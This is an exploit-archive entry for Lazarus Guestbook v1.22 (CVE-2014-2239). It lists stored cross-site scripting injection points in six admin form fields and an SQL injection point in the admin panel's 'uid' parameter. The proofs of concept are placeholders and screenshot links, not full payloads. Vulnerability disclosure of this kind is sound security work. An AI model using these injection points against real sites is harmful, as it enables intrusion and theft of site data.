Lazarus Guestbook v1.22 - Multiple Web Vulnerabilities

2014-12-27T00:00:00
ID 1337DAY-ID-23039
Type zdt
Reporter Taurus Omar
Modified 2014-12-27T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            # Exploit Title: Lazarus Guestbook v1.22 - Multiple Web Vulnerabilities
# Date: 23/12/2014
# Url Vendor: http://carbonize.co.uk/Lazarus/
# Vendor Name: Lazarus
# Version: 1.22
# CVE: CVE-2014-2239
# Author: TaurusOmar  
# Tiwtter: @TaurusOmar_
# Email:  [email protected]
# Home:  overhat.blogspot.com
# Tested On: Bugtraq Optimus
# Risk: High

#Description
Lazarus is a free guestbook script written in PHP that uses your MySQL database for storage and is based upon the excellent Advanced Guestbook script from Proxy2.
I took the Advanced Guestbook and added more features and several layers of anti spam protection to make one of the most feature rich and spam resistant guestbook scripts available for free.
I am always active on the forums and you can rest assured that if the spammers find a way past the current anti spam methods that I have others waiting in the wings. You can read my own guestbook to see what other people have had to say about Lazarus and my anti spam fixes for Advanced Guestbook.


---------------------------------
+ MULTIPLE CROSS SITE SCRIPTING + 
---------------------------------
#Exploiting Description - Multiple Cross Site Scripting in multiple boxes in plataform


#P0c [1]: Get into code xss in the ad block box
<textarea class="input" id="ad_code" name="ad_code" wrap="virtual" rows="14" cols="41">CODE XSS</textarea>

#P0c [2]: Get into code xss in the smile name box
<input type="text" size="25" value="CODE XSS" name="s_emotion">

#P0c [3]: Get into code xss in the font style box
<input type="text" class="input" maxlength="70" size="38" value="CODE XSS" name="font_face">

#P0c [4]: Get into code xss in the security box
<input type="text" class="input" value="CODE XSS" size="29" name="comment_pass">

#P0c [5]: Get into code xss in the email notification box
<input type="text" class="input" maxlength="60" size="30" value="CODE XSS" name="book_mail">

#P0c [6]: Get into code xss in the tags box
<input type="text" class="input" maxlength="60" size="30" value="CODE XSS" name="allowed_tags">


#Proof Concept
http://i.imgur.com/sczND0w.jpg
http://i.imgur.com/SNMFRCV.jpg
http://i.imgur.com/OR2RTc1.jpg
http://i.imgur.com/xNX6Ln0.jpg
http://i.imgur.com/dlqSpLM.jpg
http://i.imgur.com/JESZTCz.jpg

------------------------
+    SQL INJECTION     +
------------------------
# Exploiting Description - Sql Injection in control panel of admin and others users. 

#P0c
http://site.com/lazarus/admin.php?action=settings&panel=general&gbsession="RANDOM_TOKEN"&uid=[sql]

#Proof Concept
http://i.imgur.com/36JamRc.jpg

#  0day.today [2018-01-10]  #